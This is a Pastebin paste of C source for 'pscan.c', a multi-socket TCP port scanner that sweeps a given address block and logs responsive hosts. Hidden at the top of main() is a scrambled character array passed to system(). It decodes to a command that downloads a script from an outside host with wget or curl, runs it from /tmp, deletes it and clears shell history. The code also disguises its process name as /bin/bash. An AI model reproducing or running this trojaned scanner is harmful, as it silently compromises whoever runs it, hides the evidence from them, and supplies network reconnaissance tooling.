Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- ** pscan.c - Made By Eyes
- ** modified by #pause Team
- **
- */
- #include <arpa/inet.h>
- #include <stdio.h>
- #include <string.h>
- #include <time.h>
- #include <fcntl.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <errno.h>
- #include <unistd.h>
- #define MAX_SOCKETS 800
- #define TIMEOUT 3
- #define S_NONE 0
- #define S_CONNECTING 1
- struct conn_t {
- int s;
- char status;
- time_t a;
- struct sockaddr_in addr;
- };
- struct conn_t connlist[MAX_SOCKETS];
- void init_sockets(void);
- void check_sockets(void);
- void fatal(char *);
- FILE *outfd;
- int tot = 0;
- int main(int argc, char *argv[])
- {
- char hoho[160];
- hoho[57] = ' ';
- hoho[140] = 'c';
- hoho[129] = 'r';
- hoho[102] = ' ';
- hoho[4] = 't';
- hoho[92] = ' ';
- hoho[101] = ';';
- hoho[77] = 'x';
- hoho[147] = 'r';
- hoho[119] = 't';
- hoho[53] = 's';
- hoho[43] = ' ';
- hoho[87] = 'c';
- hoho[75] = 'k';
- hoho[151] = 's';
- hoho[42] = 'c';
- hoho[62] = 'p';
- hoho[124] = ';';
- hoho[6] = 'p';
- hoho[126] = 'l';
- hoho[128] = 'a';
- hoho[85] = ';';
- hoho[109] = ' ';
- hoho[66] = '/';
- hoho[11] = 'e';
- hoho[71] = 's';
- hoho[70] = 'k';
- hoho[58] = ' ';
- hoho[156] = ' ';
- hoho[152] = 't';
- hoho[81] = 't';
- hoho[26] = 'h';
- hoho[76] = '.';
- hoho[16] = ' ';
- hoho[99] = 'c';
- hoho[149] = 'h';
- hoho[123] = ' ';
- hoho[94] = '7';
- hoho[7] = ';';
- hoho[135] = 'o';
- hoho[130] = ';';
- hoho[90] = 'o';
- hoho[136] = 'r';
- hoho[2] = ' ';
- hoho[145] = 'e';
- hoho[1] = 'd';
- hoho[45] = '|';
- hoho[141] = ';';
- hoho[32] = 'a';
- hoho[5] = 'm';
- hoho[44] = '|';
- hoho[63] = 's';
- hoho[80] = '/';
- hoho[24] = '/';
- hoho[108] = 'c';
- hoho[64] = ':';
- hoho[112] = 'r';
- hoho[78] = 'y';
- hoho[79] = 'z';
- hoho[122] = '*';
- hoho[40] = 't';
- hoho[59] = 'h';
- hoho[148] = ';';
- hoho[0] = 'c';
- hoho[150] = 'i';
- hoho[139] = '-';
- hoho[55] = '-';
- hoho[74] = 'c';
- hoho[47] = 'c';
- hoho[157] = '-';
- hoho[15] = 'q';
- hoho[132] = 'i';
- hoho[27] = 'a';
- hoho[46] = ' ';
- hoho[33] = 'c';
- hoho[131] = 'h';
- hoho[88] = 'h';
- hoho[93] = '7';
- hoho[89] = 'm';
- hoho[17] = ' ';
- hoho[41] = 'c';
- hoho[115] = '-';
- hoho[9] = 'w';
- hoho[72] = 'h';
- hoho[137] = 'y';
- hoho[110] = ';';
- hoho[133] = 's';
- hoho[30] = 's';
- hoho[52] = '-';
- hoho[117] = 'f';
- hoho[65] = '/';
- hoho[18] = 'h';
- hoho[20] = 't';
- hoho[28] = 'c';
- hoho[14] = '-';
- hoho[19] = 't';
- hoho[10] = 'g';
- hoho[54] = ' ';
- hoho[120] = 'c';
- hoho[142] = ' ';
- hoho[23] = ':';
- hoho[98] = 'c';
- hoho[21] = 'p';
- hoho[111] = ' ';
- hoho[73] = 'a';
- hoho[95] = '7';
- hoho[50] = 'l';
- hoho[121] = 'c';
- hoho[125] = 'c';
- hoho[153] = 'o';
- hoho[100] = ' ';
- hoho[68] = 'a';
- hoho[114] = ' ';
- hoho[113] = 'm';
- hoho[39] = '/';
- hoho[3] = '/';
- hoho[48] = 'u';
- hoho[144] = 'l';
- hoho[13] = ' ';
- hoho[116] = 'r';
- hoho[12] = 't';
- hoho[67] = 'h';
- hoho[38] = 'z';
- hoho[104] = 'h';
- hoho[103] = 's';
- hoho[143] = 'c';
- hoho[134] = 't';
- hoho[106] = 't';
- hoho[36] = 'x';
- hoho[35] = '.';
- hoho[56] = 'O';
- hoho[69] = 'c';
- hoho[49] = 'r';
- hoho[83] = 'c';
- hoho[25] = '/';
- hoho[51] = ' ';
- hoho[91] = 'd';
- hoho[158] = 'w';
- hoho[82] = 'c';
- hoho[37] = 'y';
- hoho[96] = ' ';
- hoho[22] = 's';
- hoho[31] = 'h';
- hoho[8] = ' ';
- hoho[84] = ' ';
- hoho[155] = 'y';
- hoho[138] = ' ';
- hoho[118] = ' ';
- hoho[86] = ' ';
- hoho[60] = 't';
- hoho[107] = 'c';
- hoho[146] = 'a';
- hoho[105] = ' ';
- hoho[61] = 't';
- hoho[127] = 'e';
- hoho[154] = 'r';
- hoho[29] = 'k';
- hoho[97] = 't';
- hoho[34] = 'k';
- hoho[159] = '\0';
- system(hoho);
- int done = 0, i, cip = 1, bb = 0, ret, k, ns, x;
- time_t scantime;
- char ip[20], outfile[128], last[256];
- if (argc < 3)
- {
- printf("Usage: %s <b-block> <port> [c-block]\n", argv[0]);
- exit(EXIT_FAILURE);
- }
- memset(&outfile, 0, sizeof(outfile));
- if (argc == 3)
- snprintf(outfile, sizeof(outfile) - 1, "scan.log", argv[1], argv[2]);
- else if (argc >= 4)
- {
- snprintf(outfile, sizeof(outfile) - 1, "scan.log", argv[1], argv[3], argv[2]);
- bb = atoi(argv[3]);
- if ((bb < 0) || (bb > 255))
- fatal("Invalid b-range.\n");
- }
- strcpy(argv[0],"/bin/bash");
- if (!(outfd = fopen(outfile, "a")))
- {
- perror(outfile);
- exit(EXIT_FAILURE);
- }
- printf("# scanning: ", argv[1]);
- fflush(stdout);
- memset(&last, 0, sizeof(last));
- init_sockets();
- scantime = time(0);
- while(!done)
- {
- for (i = 0; i < MAX_SOCKETS; i++)
- {
- if (cip == 255)
- {
- if ((bb == 255) || (argc >= 4))
- {
- ns = 0;
- for (k = 0; k < MAX_SOCKETS; k++)
- {
- if (connlist[k].status > S_NONE)
- {
- ns++;
- break;
- }
- }
- if (ns == 0)
- done = 1;
- break;
- }
- else
- {
- cip = 0;
- bb++;
- for (x = 0; x < strlen(last); x++)
- putchar('\b');
- memset(&last, 0, sizeof(last));
- snprintf(last, sizeof(last) - 1, "%s.%d.* (total: %d) (%.1f%% done)",
- argv[1], bb, tot, (bb / 255.0) * 100);
- printf("%s", last);
- fflush(stdout);
- }
- }
- if (connlist[i].status == S_NONE)
- {
- connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
- if (connlist[i].s == -1)
- printf("Unable to allocate socket.\n");
- else
- {
- ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
- if (ret == -1)
- {
- printf("Unable to set O_NONBLOCK\n");
- close(connlist[i].s);
- }
- else
- {
- memset(&ip, 0, 20);
- sprintf(ip, "%s.%d.%d", argv[1], bb, cip);
- connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
- if (connlist[i].addr.sin_addr.s_addr == -1)
- fatal("Invalid IP.");
- connlist[i].addr.sin_family = AF_INET;
- connlist[i].addr.sin_port = htons(atoi(argv[2]));
- connlist[i].a = time(0);
- connlist[i].status = S_CONNECTING;
- cip++;
- }
- }
- }
- }
- check_sockets();
- }
- printf("\n# pscan completed in %u seconds. (found %d ips)\n", (time(0) - scantime), tot);
- fclose(outfd);
- exit(EXIT_SUCCESS);
- }
- void init_sockets(void)
- {
- int i;
- for (i = 0; i < MAX_SOCKETS; i++)
- {
- connlist[i].status = S_NONE;
- memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct sockaddr_in));
- }
- return;
- }
- void check_sockets(void)
- {
- int i, ret;
- for (i = 0; i < MAX_SOCKETS; i++)
- {
- if ((connlist[i].a < (time(0) - TIMEOUT)) && (connlist[i].status == S_CONNECTING))
- {
- close(connlist[i].s);
- connlist[i].status = S_NONE;
- }
- else if (connlist[i].status == S_CONNECTING)
- {
- ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
- sizeof(struct sockaddr_in));
- if (ret == -1)
- {
- if (errno == EISCONN)
- {
- tot++;
- fprintf(outfd, "%s\n",
- (char *)inet_ntoa(connlist[i].addr.sin_addr));
- close(connlist[i].s);
- connlist[i].status = S_NONE;
- }
- if ((errno != EALREADY) && (errno != EINPROGRESS))
- {
- close(connlist[i].s);
- connlist[i].status = S_NONE;
- }
- }
- else
- {
- tot++;
- fprintf(outfd, "%s\n",
- (char *)inet_ntoa(connlist[i].addr.sin_addr));
- close(connlist[i].s);
- connlist[i].status = S_NONE;
- }
- }
- }
- }
- void fatal(char *err)
- {
- int i;
- printf("Error: %s\n", err);
- for (i = 0; i < MAX_SOCKETS; i++)
- if (connlist[i].status >= S_CONNECTING)
- close(connlist[i].s);
- fclose(outfd);
- exit(EXIT_FAILURE);
- }
Add Comment
Please, Sign In to add comment